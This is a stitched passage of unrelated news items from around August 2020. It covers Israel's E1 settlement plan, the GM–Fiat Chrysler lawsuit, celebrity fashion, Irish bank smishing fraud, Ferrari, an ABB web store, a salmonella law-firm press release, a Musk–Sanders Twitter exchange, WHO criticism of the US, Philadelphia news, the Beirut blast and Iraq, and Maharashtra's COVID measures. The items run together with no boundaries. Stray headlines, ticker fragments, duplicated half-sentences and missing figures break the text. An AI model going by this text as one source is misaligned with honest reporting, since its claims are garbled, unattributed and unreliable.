demarche were France, Germany, Italy, Spain, Britain, Belgium, Denmark, Finland, Ireland, the Netherlands, Norway, Poland, Portugal, Slovenia and Sweden. Ofer Zalzberg, a senior analyst with the International Crisis Group, told Al-Monitor that because the White House and the centrist Blue and White party condition their backing for annexation on a sizable compensation for Palestinians, Netanyahu might decide before the US elections in November to approximate for making good on his annexation electoral pledge by advancing large-scale settlement construction in decisive locations, notably E1. If Israel holds elections soon as is currently discussed then Netanyahu would be likelier to pursue this and Blue and White chairperson, Benny Gantz who as defense minister wields considerable influence over settlement policy would find it harder to oppose it, Zalzberg said. PLO Executive Committee member Hanan Ashrawi reminded the international community of the commitments made by the United States to ensure that Israeli settlements are curbed. In a series of tweets Aug. 7, Ashrawi quoted the 1991 US letter of assurances that settlements are an obstacle to peace. Meanwhile Josh Mitnick, a Tel Aviv-based foreign correspondent, told Al-Monitor that a decision to move forward with building on E1 at this time might offer a way for Netanyahu to distract public attention away from the pandemic and the economic crisis in Israel at a time his coalition seems to be on the skids. "It also might serve as a reminder to his right-wing base which was no doubt disappointed at his failure so far to make good on his annexation promise that he's still their best chance to ensure Israel's continued control over the whole of the occupied West Bank." According to the Israeli human right organization B'tselem, the E1 master plan was approved in 1999. It covers approximately 1,200 hectares of land most of which Israel declared as state land in a legally dubious procedure. During the 1990s, these lands were made part of the jurisdiction of the settlement of Ma'ale Adumim, so it now encompasses approximately 4,800 hectares. The plan, known as East 1 or E1, will cut off the northern part of the West Bank from the southern part and pose major obstacles to the creation of a Palestinian state. The implementation of construction plans in E1 will create an urban bloc between Maale Adumim and Jerusalem, exacerbate the isolation of East Jerusalem from the rest of the West Bank and disrupt the territorial contiguity between the northern and southern parts of the West Bank. While Israeli officials are continuously fighting and arguing among themselves, none of the discussions are focused on international law or the rights of the Palestinians. Israeli impunity continues largely due to the apathy of Washington and the inability of the rest of the world to stand up to Israeli violations. Fiat Chrysler Automobiles pushed back Monday against General Motors' attempt to revive its racketeering lawsuit, two days after FCA's former lead labor negotiator, convicted in the United Auto Workers corruption scandal, compared GM's tactics to those of disgraced Sen. Joe McCarthy's anti-communist witch hunts. The legal drama pitting the two automakers against one another is now in its ninth month despite U.S. District Court Judge Paul Borman's dismissal of the case in July. Perhaps instructive was a new order Monday from Borman noting that he is not seeking another reply from GM. GM had ratcheted up the allegations last week, saying it had found new evidence of offshore accounts in the Cayman Islands, Switzerland, Luxembourg and other countries designed to fuel a bribery scheme to harm GM and claiming that ex-GM board member Joe Ashton, who is awaiting sentencing in the federal probe, was actually a paid mole. GM's original lawsuit, filed in November, claimed FCA corrupted the bargaining process, costing GM billions of dollars, in an effort to hurt GM and force a merger, which never happened, of the two companies. Alphons Iacobelli, the former labor negotiator who later went to work for GM and made the McCarthy comparison, and other FCA officials caught up in the corruption probe are defendants, too, but GM also referenced others, including Ashton, who was a former UAW vice president, and two ex-UAW presidents. Fiat Chrysler Automobiles will merge with Paris-based PSA Groupe, maker of Peugeot automobiles, according to media sources. FCA, not surprisingly, said essentially that GM should not get another bite at the apple. And in keeping with the intrigue offered in GM's effort to have its case reinstated, FCA offered its own bit of color and said GM has simply gone too far. "GMs proposed amended complaint reads like a script from a third-rate spy movie, full of preposterous allegations that FCA paid not one, but two, 'mole(s)' to infiltrate GM' and 'funnel inside information to (FCA)' using money 'stashed' in a 'broad network' of 'secret overseas (bank) accounts.' ... None of that is true. That GM has extended its attacks to individual FCA officers and employees, making wild allegations against them without a shred of factual support, is despicable," FCA said in its response Monday. Story continues The company followed up with a statement that "GMs proposed amended complaint is the latest example of the lengths it is prepared to go to, attacking a competitor that is winning in the marketplace with yet more baseless accusations. As we have said from the date this lawsuit was filed, it is meritless and we will continue to vigorously defend ourselves." More: Fiat Chrysler planning for big recall on engine used in Jeeps Whoops: Biden campaign ad spills beans on GM's secret Corvette plans FCA also highlighted the stakes for both companies at a time when the automotive industry is under tremendous strain and FCA is working toward a merger that would make it part of an entity larger than GM. "GM's attempts to tarnish FCAs reputation and that of individual FCA officers and employees will not distract us from our mission of providing customers with outstanding and exciting cars, trucks and SUVs or from completing our landmark combination with (PSA Group)," FCA said in a statement provided by FCA spokesman Jeff Bennett. GM said it stands behind its pleading. "FCAs corruption of the collective bargaining process remains undeniable a federal investigation is ongoing and there have already been multiple guilty pleas. New facts uncovered through GMs investigation which FCA tries to discount including offshore accounts in multiple countries implicate numerous individuals and make GMs RICO case even stronger. GM seeks to uncover in court the full extent of harm the FCA bribery scheme caused GM. Nothing in the defendants replies counters the significance of these allegations and the direct harm the defendants corruption caused GM, and the court should amend its prior judgment and reinstate our case," according to a GM statement provided by spokesman David Caldwell. The UAW, which is not a defendant, not only said it had no knowledge of the offshore accounts, it forwarded an angry letter from Ron Gettelfinger, a former union president, who said GM was forcing him to break his silence. Gettelfinger, who has not been implicated in wrongdoing as part of the wide-ranging federal probe, was nevertheless named once in the recent GM filing, as in "payoffs through these foreign accounts to Ron Gettelfinger." But Gettelfinger denied GM's claims, calling them a "malicious and utterly baseless attack." "I have never had control over any financial account in any foreign country, nor has any member of my family. Further, neither I, nor any member of my family, have ever received one cent from a foreign account like GM claimed," Gettelfinger said. In addition to Gettelfinger, ex-UAW President Dennis Williams, who has been implicated as an unnamed union official in court papers but not charged, was referenced by GM. In addition to the fight between the automakers, the case has been noteworthy because of the way Judge Borman had attempted to have it resolved. At one point, he ordered the CEOs of GM and FCA, Mary Barra and Mike Manley, respectively, to meet, but that did not happen. Borman had indicated that the case would be a waste of resources if it were to proceed, and the country, buffeted by the COVID-19 pandemic and the eruptions of anger over systemic racism following the death of George Floyd at the hands of Minneapolis police, needed to heal. Follow Eric D. Lawrence on Twitter: @_ericdlawrence. This article originally appeared on Detroit Free Press: Fiat Chrysler blasts GM's attempt to revive lawsuit as 'despicable' He is the son of the Queen of Pop Madonna and acclaimed director Guy Ritchie. And Rocco Ritchie proved he has inherited his parents' passion for fashion as he stepped out with a group of friends in London on Friday. The art student, 20, displayed his kooky sense of style in a jaunty red and white patterned T-shirt, which he teamed with a pair of high-waist lemon yellow chinos. Dapper dude: Rocco Ritchie proved he has inherited his parents' passion for fashion as he stepped out with a group of friends in London on Friday Rocco wore his hair heavily gelled and slicked to one side, and stepped out in a pair of vintage-style white brogues. He appeared to be in great spirits on the day as he walked down the street with his arm around the shoulders of his pal. The pair looked as though they were feeling the heat a little as London's temperatures soared into the mid 30 degrees. Stylish: He wore a jaunty T-shirt and high-waist chinos as he threw his arm around a pal while giggling The American-born teenager enrolled into a fine art degree at Central Saint Martins in London last September. Speaking to The Sun last January, an insider said: 'Rocco takes his art really seriously. He had a wayward few years, but now he's dedicated to this new course and feels he really fits in with his course mates. 'Both his parents are pleased he is doing something creative with his time and following his passion.' Creative: The American-born teenager enrolled into a fine art degree at Central Saint Martins in London last September The insider continued: 'He's proved his dedication by attending all his classes and throwing himself into studying. Plus, no one treats him like the son of a superstar he feels like a normal student. 'He is inspired by graffiti artist Banksy and sees himself as a key player in the London art scene in a few years' time.' Madonna and ex husband Guy welcomed Rocco in 2000, with the couple later going on to adopt their Malawian son David Banda, 14, in 2006. They split two years later. Guy is now married to model Jacqui Ainsley, 38. The happy couple, who tied the knot in July 2015, are parents to sons Rafael and Levi, and daughter Rivka. Rocco has been living with Guy in London since the director won a nine-month custody battle over Madonna in 2016. About one in 10 customers are set to lose out Bank of Ireland will reimburse customers hit by a cyber fraud that dropped fake texts into genuine interactions between the bank and account holders. The bank said it is launching a fraud awareness campaign highlighting tactics deployed by criminals to trick customers into providing their banking details. It will also reimburse customers identified as being impacted by a targeted text 'smishing' campaign - which dropped fraudulent texts into the genuine Bank of Ireland text thread - which has been active during Covid-19. The nationwide fraud awareness campaign will advise customers on how to protect themselves from fraud including through text 'smishing' attacks. So-called 'smishing' is serious criminal activity which targets customers of a range of institutions around the world - including banks, postal authorities, social welfare payments, and tax collection. Fraudsters gain access to confidential information then move quickly to extract funds. Smishing attacks can be either crude or sophisticated. In the case of Bank of Ireland and AIB, the fraudsters managed to insert their criminal texts into legitimate text conversations between the banks and their customers. Security experts say that this isn't easy to do and sometimes involves manipulation of SMS services called 'gateways' that are often commercially used by big companies. But global security experts have been warning about such vulnerabilities in SMS delivery systems for years. Once the criminal has entered a pre-existing text chat, the fraudulent text will ask the customer to click on a link, usually by claiming their card or account has been frozen or that there is some other problem that needs quick attention. It is related to the scam of 'spoofing,' where a fraudster makes it seem that an email address, phone number or web address is someone else's, typically that of a legitimate business. This is very easy to do at a low level on the internet, ranging from so-called 'prank' services such as Spoofbox, Deadfake and Anonymailer to much more sophisticated bespoke systems. Anyone with even a cursory knowledge of programming can also get in on the act with a few simple lines of code. In about 10 minutes, it's possible to send someone an email purporting to show the email address of almost anyone - private or public - you choose. Often smishing attacks are not obvious. Misspelled text messages or emails throw up obvious red flags right away. But others, framed in typical banking language and terminology, may not be as clearly fake. And it is especially hard to spot if it's part of what appears to be a pre-existing text conversation. Most legitimate services will never text or email with just one or two lines and a link. Texts There's a recurring fake text message purporting to be from Ros.ie (Revenue Online Services), claiming that a "tax return" is ready to be claimed. There are also scam texts labelled 'An Post' claiming that 'a parcel is being held' and asking you for 2 plus your bank details to release it. Then there's the fraudulent WhatsApp drivers' licence scam where criminals try to get you to contact the National Driver License Service (NDLS) through WhatsApp to apply for or renew your driving licence at a cost of 200. There's even a fake contact-tracing app text going around, saying: "Someone who came into contact with you tested positive or has shown symptoms for Covid 19 and recommends that you self-isolate". It then asks you click the scam link. Former Ferrari president Luca di Montezemolo says he deserves some of the blame for the Maranello team's horror 2020 season. Although he was ousted in 2014, that year was when Formula 1's controversial hybrid 'power unit' engine regulations were introduced. "I was president when it was decided to switch to hybrid," Montezemolo told Il Resto del Carlino newspaper. "I accepted because the green turning point in the industry was also a necessity for racing. "But I underestimated the Italian deficit - even ours, even Ferrari's - in terms of technology that was not part of our cultural background," said the 72-year-old. "Congratulations to those who have proved stronger, but it is precisely for this reason that I say we must look ahead." Ferrari's new chairman, John Elkann, said recently that it will be 2022 before the Maranello team can think realistically about winning races again. "I don't like setting dates," Montezemolo said. "It makes no sense and it is not fair on the fans, who have the right to hope for a turnaround in a shorter time. "Ferrari must make choices necessitated by a crisis so deep. At least there is the driver guarantee, as Leclerc has already shown that he is a top driver." Montezemolo also said he backs Mattia Binotto, who is under severe pressure as Ferrari's team boss. "Binotto is one of my boys," he said. "I often repeat that he needs to be supported. He cannot be left alone. "I know very well that Formula 1 has changed a lot - it is no longer what it was 20 or ten years ago. But one thing that has remained the same is that when a team is in trouble, it must protect its men whilst adding the skills they need from the outside. "The Ferrari of Schumacher was not just Schumacher," Montezemolo explained. "We had the number 1 group in all the areas. "From Jean Todt to Ross Brawn, from Stefano Domenicali to Paolo Martinelli to Rory Byrne. And despite their skill we suffered for years before being able to celebrate." (GMM) live bse live nse live Volume Todays L/H More Global technology firm ABB on Tuesday launched an online marketplace portal, eMart in India offering over 6,000 products from its electrification business for home and industrial buyers. "With this move, ABB India aims to further expand its reach in untapped markets while strengthening its presence in the existing sector, maximizing the changing customer buying preferences with a seamless digital experience," a company statement said. eMart will offer products ranging from digital circuit breakers, contactors, molded case circuit breaker (MCCB), modular switches, miniature circuit breaker (MCB), residual current circuit breaker (RCCB), home automation, medium voltage relays and related products, the statement added. Commenting on the launch, ABB India President, Electrification business CP Vyas said, "It aims to build a digital ecosystem and infrastructure between the manufacturer, the partners, and the customers and provide impetus to the business climate and the Digital India program." He further said the company is committed to creating avenues that fast track the digital transformation journey for its customers and partners and the eMart is another achievement in the same direction, aiming to create a reliable yet distinct customer experience with digital solutions. The platform which will be both for business-to-business (B2B) and business-to-consumer (B2C), aims to provide an equally fair and favorable experience to both ABB distributors and customers. ABB said it has partnered with authorised distributors with a digital presence from across the country, and is enabling them to expand their reach by offering products and solutions on eMart for home as well as industrial customers. Pennridge to vote on one textbook; further review on other one SALT LAKE CITY, Aug. 11, 2020 /PRNewswire/ -- National Salmonella Lawyer Jory Lange of The Lange Law Firm, PLLC and Salt Lake City's premier plaintiff's trial law firm, DKOW, have teamed up to investigate the Utah Red Onion Salmonella Outbreak. At least 90 people in Utah have contracted Salmonella from onions. Salmonella Lawyer Jory Lange says, "This is already the largest Salmonella outbreak of 2020." Utah Red Onion Salmonella Outbreak Will Continue to Grow "This Salmonella outbreak is likely to continue to grow," says Jory Lange. "Thompson International just recently recalled its contaminated onions. Many people still have these recalled onions in their homes. There's a real risk that people who have not yet heard of the onion recall may be eating onions that are tainted with Salmonella." DKOW's Colin King recommends that, "People should check their onions. If they have any of these brands, they should throw their onions out: Thompson International, Thompson Premium, Kroger, Food Lion, Utah Onions, Onions 52, Hartley's Best, Imperial Fresh, Majestic, Tender Loving Care, and El Competidor. It's just not worth the risk." Compensation for Salmonella If you got Salmonella after eating recalled onions, you may be entitled to compensation. To learn more about making a claim for Salmonella compensation, please visit the Lange Law Firm's website, www.MakeFoodSafe.com or call 833.330.3663. Our Salmonella Lawyer's Experience Our Salmonella Lawyer has been retained by multiple families in this outbreak. The Lange Law Firm filed the first Salmonella Onion Lawsuit in Montana, and one of the first Onion Salmonella Lawsuits in Oregon. The Lange Law Firm, PLLC is one of the nation's leading Salmonella food poisoning law firms. It is the only law firm in the nation solely devoted to helping families harmed by contaminated food and water. DKOW is a premier plaintiff's trial firm, litigating cases in Utah and across the country. The trial lawyers at our Salt Lake City, Utah law firm have obtained the most multi-million dollar verdicts of any firm in the state, along with scores of million-dollar plus settlements. DKOW is the law firm that seriously injured Utahns turn to when they need help. Contacts The Lange Law Firm, PLLC Jory D. Lange Jr. www.MakeFoodSafe.com Candess Zona-Mendola 833.330.3663 [email protected] SOURCE The Lange Law Firm Related Links www.makefoodsafe.com (Photo : (Photo by Saul Martinez/Getty Images)) CAPE CANAVERAL, FLORIDA - MAY 30: U.S. President Donald Trump acknowledges SpaceX founder Elon Musk (R) after the successful launch of the SpaceX Falcon 9 rocket with the manned Crew Dragon spacecraft at the Kennedy Space Center on May 30, 2020 in Cape Canaveral, Florida. Earlier in the day NASA astronauts Bob Behnken and Doug Hurley lifted off on the inaugural flight and will be the first people since the end of the Space Shuttle program in 2011 to be launched into space from the United States. (Photo : (Photo by Scott Eisen/Getty Images)) BURLINGTON, VT - MARCH 11: Democratic presidential candidate Sen. Bernie Sanders (I-VT) walks away from the podium after delivering a campaign update at the Hotel Vermont on March 11, 2020 in Burlington, Vermont. Bernie Sanders silenced as Elon Musk replies with memes and facts about the senator in a Twitter War! Elon Musk engages Bernie Sanders to a Twitter 'standoff' with the U.S. Senator being silenced and quiet after a series of replies the Tesla and SpaceX CEO made to him regarding billionaire taxation and renewable energy. The series of exchanges began on Friday, August 8, 2020, and lasted for several days before Sanders turning silent and discontinues engaging with Musk. This Twitter exchange is all about the Vermont U.S. Senator's "Make Billionaires Pay Act" that urges America's top billionaires to pay an all-out, one-time 60 percent tax wealth accumulated from the period of March 18, 2020, to January of 2021. The said tax would be used to fund the American healthcare system currently paid by taxpayers out of their own pockets. U.S. Billionaires, with the likes of Elon Musk and Facebook's Mark Zuckerberg, are affected by the said bill. The 'Billionaire Tax' would supposedly fund 'Medicare' healthcare provider over the next 12 months once it's paid. The bill targets four U.S. billionaires with Musk and Zuckerberg included. "Yes, that's right. By taxing 60 percent of the wealth gains made by just 467 billionaires during this horrific pandemic, we could guarantee healthcare as a right for an entire year. And billionaires would still be able to pocket more than $310.1 billion in wealth gains during the worst economic downturn since the Great Depression," Bernie Sanders said in his bill fact sheet. Tesla and SpaceX CEO Elon Musk would be paying a one-time fee of $27.5 billion once this bill is passed in the senate. The Tweet that started the war Teslarati's Twitter Account (@Teslarati) posted an article regarding the Billionaire Taxation that Bernie Sanders authored, mentioned Elon Musk. To which, Musk replied with a 'Bernie Sanders Meme.' The meme exhibits with a younger photo of the senator that invites people to a drinking game every time "the Bernster" (Sanders) mentions anything about 'a free government program.' While this tweet was not directed to the official Twitter account of Bernie Sanders (@BernieSanders), the Vermont Senator quoted Musk's 'meme' tweet that directly addressed the Tesla and SpaceX CEO as someone who "l-o-v-e-s corporate socialism for himself." Every time Elon Musk pokes fun at government assistance for the 99%, remember that he would be worth nothing without $4.9 billion in corporate welfare. Oh, Elon just l-o-v-e-s corporate socialism for himself, rugged capitalism for everyone else. https://t.co/rj8FgwEDMQ pic.twitter.com/bxHcXul925 Bernie Sanders (@BernieSanders) August 7, 2020 The tweet included a 'Los Angeles Times' article screenshot about receiving $4.9 billion in subsidies. The senator's tweet caught Musk's attention to which he replied a series of threads explaining that his company, Tesla, did more to make to advance the Earth in the use of sustainable energy. He also remarked that what Sanders said is "bs" and that the senator is a docile puppet of oil. And why aim your attacks at Tesla, when were doing more than any other company on Earth to advance green/sustainable energy? Have you read the news? https://t.co/34tzBk5TIv Elon Musk (@elonmusk) August 8, 2020 After Musk's last tweet, the U.S. Senator did not respond anymore or continued the thread. The Four Top U.S. Billionaires Apart from Elon Musk, here are the top billionaires that would be affected by the said bill, explaining their growth in profit, net worth, and how much they'll need to pay once the proposal is approved. Jeff Bezos - Amazon CEO - wealth up by 63 percent or $71.3 billion during the pandemic, would pay a one-time tax of $42.8 billion . - Amazon CEO - wealth up by 63 percent or $71.3 billion during the pandemic, would pay a one-time tax of . Elon Musk - Tesla and SpaceX CEO - wealth up by almost triple $24.6 billion to $70.5 billion during the pandemic, would pay a one-time tax of $27.5 billion . - Tesla and SpaceX CEO - wealth up by almost triple $24.6 billion to $70.5 billion during the pandemic, would pay a one-time tax of . Mark Zuckerberg - Facebook CEO - net worth currently at $92.7 billion from $54.7 billion, would pay a one-time tax of $22.8 billion . - Facebook CEO - net worth currently at $92.7 billion from $54.7 billion, would pay a one-time tax of . The Walton Family - Walmart, etc. -wealthiest non-royal family in the world, combined net worth of $225.2 billion, with their wealth growing by a total of $21.5 billion, would pay $12.9 billion. The 'billionaire tax' accumulates a whopping total of $421.7 billion that is all intended for the healthcare provider of Americans. ALSO READ: Could Tesla Be the next Home Energy Provider? Powerwall and EV Charger 'Home Package' Is Surveying EU Market This article is owned by Tech Times Written by Isaiah Alonzo 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. KYODO NEWS - Aug 11, 2020 - 19:25 | All, Coronavirus, World Gro Harlem Brundtland, the former director general of the World Health Organization who oversaw the U.N. agency's response to the SARS crisis between 2002 to 2003, criticized the United States for being "counterproductive" during the novel coronavirus pandemic and leading an "assault" on multilateralism. In a written interview with Kyodo News, the former prime minister of Norway denounced U.S. decisions to withdraw from the WHO and the Paris Agreement for tackling climate change, among other actions, with the pandemic testing international solidarity and responsibility. Brundtland is currently co-chair of the Global Preparedness Monitoring Board, an independent monitoring and accountability body to assess preparedness for global health crises. The multilateral system faces "its gravest threat since 1945," she warned, adding that U.S. President Donald Trump's administration has done "deep and lasting damage to the U.N. system and the broader principles of multilateralism." "It is an especially a sad irony that this assault on multilateralism is being led by the United States -- the country that played the single biggest role in the establishment and maintenance of the multilateral system after 1945," she wrote. Since coming to power, the Trump administration has either threatened or decided to pull out of several international agreements such as the Intermediate Range Nuclear Forces treaty and the Open Skies Treaty. The U.S. notice last month to leave the WHO "even as the world remains in the midst of tackling a global pandemic -- is among the most astonishingly and transparently counterproductive of these moves," said Brundtland who served as the director general for five years from 1998. Related coverage: Coronavirus cases top 20 mil. globally: U.S. tally Trump looking to postpone G-7 summit until after Nov. election The novel coronavirus has infected around 20 million people, killing more than 700,000 around the world, according to data compiled by Johns Hopkins University. "It is deeply unhelpful and counterproductive for the WHO to become a forum for political point scoring by member states in the pursuit of narrow national interests," she said. Instead, it should be enabled to work for the global good, based only on best available scientific and medical evidence. Brundtland urged nations to support the WHO to meet health challenges including the pandemic, which she said has highlighted economic and social inequality such as disparities in medical access. The virus could only be defeated through collective action, pooling resources and expertise to strengthen health systems, create an effective vaccine, and ensure equal distribution and care particularly for vulnerable groups, she said. The world's actions would be judged by future generations not only regarding responses to the COVID-19 pandemic but on being prepared for future shocks, she said. Its been a particularly violent year in Philadelphia, with over 1,100 shootings since the start of the year. The violence has reached levels not seen in more than a decade. Yesterday afternoon, nearly 100 residents, activists, and city officials gathered for a rally and called for change. Josh Rosenblat (@joshrosenblat, morningnewsletter@inquirer.com) This past weekends spike was the latest in a series of violent outbursts in Philadelphia in 2020, coming just days before City Council plans emergency hearings about why shootings keep increasing. So far, its the citys most violent year in more than a decade. Through Sunday, shootings are up 36% over the same span last year. And among the victims have been at least 102 children, according to an Inquirer analysis. Black bears are the most controversial animals in New Jersey. An incident on July 24 that left an 82-year-old man with 30 stitches in his face has revived the states debate on bear hunting. Shortly before Gov. Phil Murphy took office in 2018, the states Fish and Wildlife Division claimed that if hunting stopped, the black bear population could rebound to unacceptable levels. In August of that year, Murphy signed an executive order that banned the killing of black bears on state land. Philadelphia officials and organizers of the homeless encampment on the Benjamin Franklin Parkway have discussed using tiny homes to house many of the people currently living in tents on a field. So how did 12 Lancaster County craftsmen get involved in a potential solution to one of Philadelphias most complicated problems? The connection starts with Stephanie Sena, a Villanova law professor, who has spent years helping the fight against homelessness, which she considers a human-rights violation. Soon, Sena expects to start a pilot program that would create a village of tiny homes on city property, my colleague Alfred Lubrano reports. What you need to know today Through your eyes | #OurPhilly Wow, what a cool angle. Thanks for sharing, @tarasphotojawn. Tag your Instagram posts or tweets with #OurPhilly and well pick our favorite each day to feature in this newsletter and give you a shout-out! Thats interesting Opinions I might not know from nimble, but, yes, Ill miss the clickities. At the subconscious level, where things truly matter, they were reassuring. All or most was right with the universe, no matter what was or wasnt happening. writes staff writer Anthony R. Wood about how KYW has ditched one of Phillys signature soundtracks. Its not just the Columbus statue. Philly should review all of its monuments, the Inquirer Editorial Board writes. You shouldnt delay your childs vaccines because of COVID-19, Katie Lockwood writes. Lockwood is a primary care pediatrician in Philadelphia. What were reading Your Daily Dose of | Meteors Tonight could be your best shot to see the Perseid meteor shower in the Philadelphia region. The Perseid is typically the best meteor shower for viewing in the Northern Hemisphere and occurs from July to August. At its peak, there can be up to 60 meteors an hour. Shortly after a massive explosion caused by 2,750 tons of ammonium nitrate stored unsafely in a Beirut port warehouse last week, the Iraqi authorities began looking for hazardous materials stored at the countrys ports. An official statement said the goal was to avoid any repetition of what happened in Lebanon after the ignition of ammonium nitrate fertiliser at the port levelling swathes of Beirut and killing dozens of people and injuring thousands more. Furthermore, the disastrous explosion in Beirut, widely blamed on government negligence and corruption drew an analogy between Lebanon and corruption in Iraqs political system and its patronage institutions. The devastating Beirut explosion was caused by the combustion of the explosive chemicals that had been stored in the port since 2014, despite the knowledge that the materials were categorised as dangerous. While the Lebanese government promised an investigation and to hold those responsible to account, the preliminary conclusions indicated that inaction, negligence, cronyism and patronage were responsible for the catastrophe. But while the storage of nearly 3,000 tons of volatile ammonium nitrate underscores the incompetence of Lebanons bureaucracy, the explosion itself embodies the chronic dysfunction at the heart of the countrys political system. As the dust settled on a city still reeling from the 4 August explosion, sadness had turned to anger and fingers were being pointed at the countrys ruling class whose corruption and mismanagement has been behind the countrys political stagnation and economic collapse. The popular discontent has been rising since last autumn, when massive street protests broke out in Beirut and other cities calling for the ouster of the countrys political elites because of years of dysfunction. Outrage over the colossal port blast renewed the cross-sectarian protest movement last week as throngs of Lebanese gathered on the streets of Beirut and other cities calling for the ousting of the ruling class. Some demonstrators who had descended on the city centre erected gallows and conducted ceremonial hangings of cardboard cutouts of prominent politicians including Lebanese President Michel Aoun, Speaker of the Parliament Nabih Berri, and Hizbullah leader Hassan Nasrallah. Nowhere has the Beirut explosion resonated more than in Iraq, a country whose ports and crossing points are mired in corruption and that often witnesses explosions in weapons depots and fires in storage facilities. The blast sparked fears in Iraq that dangerous material could also be stored at Iraqs porous border points as well as at explosives depots in the heart of the Iraqi capital Baghdad. An emergency committee formed following the Beirut blast to double check storage facilities at the Iraqi ports said it had found 173 containers that contained non-explosive chemicals. However, the committee said that all dangerous materials would be moved from the ports and new safety regulations would be introduced for storing such materials at ports and airports across Iraq. Yet, scenes from both countries still bear an uncanny resemblance. In both countries, huge corruption and the incompetence of the ruling oligarchs have plunged millions of people into a living crisis. Even before the Covid-19 coronavirus pandemic broke out at the start of this year, Lebanon and Iraq seemed to be headed for a crash, as people had to deal with daily power cuts, a lack of safe drinking water, and limited public healthcare. Late last year saw the unravelling of massive street protests in which people in Iraq and Lebanon were increasingly angry and frustrated at their governments failure to provide even basic services. Viewed through a wide-angle lens, the political landscape in Iraq also bears a resemblance to Lebanons governing system of sectarian power-sharing. In Lebanon, the essence of the problem goes back to the political process that created the modern Lebanese state following the ending of the French mandate in the mid-1940s. The unwritten National Pact (Al-Mithaq Al-Watani) which carved the independent nation of Lebanon out of the French mandate and came into force on 22 November 1943 established a power-sharing system based on confessional quotas. The agreement between the two most prominent Christian Maronite and Muslim Sunni leaders at the time in Lebanon, Bechara Al-Khoury and Riyadh Al-Sulh, was the label that came to symbolise post-independence sectarian politics in Lebanon. Under the pact, the three main political offices of president, speaker of parliament and prime minister in Lebanon are divided among the three biggest communities of Maronite Christians, Shia Muslims and Sunni Muslims, respectively. After the end of the 1975-1990 Civil War, the 1943 pact was reinforced by the Taif Accord that ended the conflict and divided power equally between Muslims and Christians in Lebanon. The new agreement, named after the Saudi city where it was signed, allowed political leaders from each sect to maintain their power and influence through a system of patronage networks under the guise of communal power-sharing. The sect-based system allowed Lebanons political leaders and their business cronies collectively to pillage the country, leaving fragile governing institutions and a bankrupt state. Since the Lebanese leaders were focused only on their own advantages, they also created armed groups to maintain a status quo in which they were all invested and to tighten their grip on power. In addition, the leaders of Lebanons sectarian communities at one time or another have aligned themselves with foreign powers, often inviting international and regional rivals to interfere in Lebanons conflicts. The Beirut port calamity, however, has highlighted the deep-seated resentment towards the political establishment in Lebanon, which is blamed for corruption and mismanagement. The massive anti-establishment movement that is taking shape following the explosion at the portside warehouse now wants to tear down the entire political system and to ditch state-sponsored sectarianism in the country. In theory, that would force sectarian politicians to stand down, and it is likely to open the way for a new order in Lebanon. While the protesters are right to call for change, the question facing Lebanon is how to end the present quandary. One idea coming up in the debate is that the Lebanese and their regional allies have exhausted their ability to end the countrys chronic crisis and that it is time for the international community to step in. Such demands are already receiving support from many Lebanese as well as from many in the international community who believe that the deadlock provides an opportunity to take collective action in the Lebanese crisis by pushing for a reform agenda. French President Emmanuel Macron, whose country is leading the international aid effort, said that he had proposed to the Lebanese authorities a roadmap of urgent reforms and promised that no blank cheques would be given to its leaders unless they enacted reforms and ended corruption. If reforms are not carried out, Lebanon will continue to sink, Macron said. What is also needed here is political change. This explosion should be the start of a new era, he told angry Lebanese reeling from the disaster during a short trip to Beirut last week. World leaders who gathered on Sunday to pledge support for Lebanon after the explosion said in a statement that international partners were ready to support an economic and financial resurgence of Lebanon if the Lebanese authorities will be fully committed to the measures and reforms expected by the Lebanese people. As international pressure for change mounts in Lebanon, eyes are also on Iraq where there have been pressing demands for the removal of Iraqs corrupt and incompetent ruling elites. This is particularly noteworthy regarding the standing of the Iraqi political class, which is already close to rock bottom after months of mass protests against its mismanagement of the country. Iraq has been facing a perfect political storm over recent months that has underlined the catastrophic ineptitude of the leaders who came to power after the US-led invasion in 2003 that toppled the regime of former dictator Saddam Hussein. Iraq has been rocked by widespread anti-government protests for more than ten months, with the violence and anger steadily escalating and echoing Iraqi demands for leadership change and an overhaul of the political system. Iraq is expected to pop into a summit in Washington next week between US President Donald Trump and Iraqs Prime Minister Mustafa Al-Kadhimi as the United States is seeking a strategic dialogue to help rebuilding the devastated nation. Like in Lebanon, now is a dangerous moment in Iraq, where more political, economic, financial and coronavirus pandemic-related crises are looming and requiring a restructuring of its governing system and introducing reforms. This is also a crucial issue in evaluating how the international community should decide to intervene in Lebanon and Iraq, when it is unclear if there is a consensus about the strategy and mechanism needed to ensure the required changes in these beleaguered countries. The international donors summit pledge of a million euros in aid for Lebanon while calling at the same time for reforms to be made underscores the worlds dilemma of how to help Lebanon without empowering its shady rulers. Similar fears of money falling into the hands of corrupt officials and pro-Iran militias have kept the donor states away from helping Iraq to rebuild cities destroyed in the war against the Islamic State (IS) terrorist group. The challenges in both Iraq and Lebanon will continue to force themselves onto each and every world and regional Middle East agenda. The Iraqis and the Lebanese also deserve political systems that do more to reflect their views and represent their interests. Yet, it remains to be seen if the international community can collectively forge a workable plan to help these two countries without turning their intervention into another geopolitical match among ambitious world and regional actors. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: The Maharashtra government is taking efforts to prevent a second wave of Covid-19 in the state, chief minister (CM) Uddhav Thackeray said in a meeting of chief ministers with Prime Minister (PM) Narendra Modi on Tuesday. Thackeray said that though the state has been successful in bringing down cases in Mumbais Dharavi and Worli, the battle against the coronavirus is not over yet. The CM added that the state is working towards reducing the case fatality rate (CFR) in Maharashtra, which stands at 3.44%. Modi held a meeting with chief ministers of Maharashtra Gujarat, West Bengal, Punjab, Andhra Pradesh, Karnataka, Telangana, Tamil Nadu, Bihar and Uttar Pradesh via video conferencing, to review measures taken to tackle Covid-19. A statement from the Maharashtra government said that Modi said that if the 10 states, which have 80% of cases in the country, win against Covid-19, then the country would emerge victorious. Efforts are being taken to bring down the mortality rate. At the same time, there has been praise over controlling the situation in Dharavi and Worli. But the battle is not over yet. The government is working to see to it that there is no second wave in Maharashtra, a statement quoting Thackeray said. He added that the Maharashtra government has not hidden any fatalities or confirmed cases, and the state has been transparent in providing all data. The state, according to the CM, has 3.5 lakh beds ready with oxygen supply, ventilators and other equipment, but there is a shortage of doctors, nurses and other healthcare workers. The CM pointed out that several people who have recovered from Covid-19 have contracted other illnesses, and were forced to get institutional treatment after they tested negative. The state, as on August 10, had 358,421 recovered patients. Those who have recovered from Covid-19 have contracted some other illnesses. There is a need to set up a mechanism to treat such individuals, the statement added. Thackeray added that the state government will set up infectious diseases control hospitals in 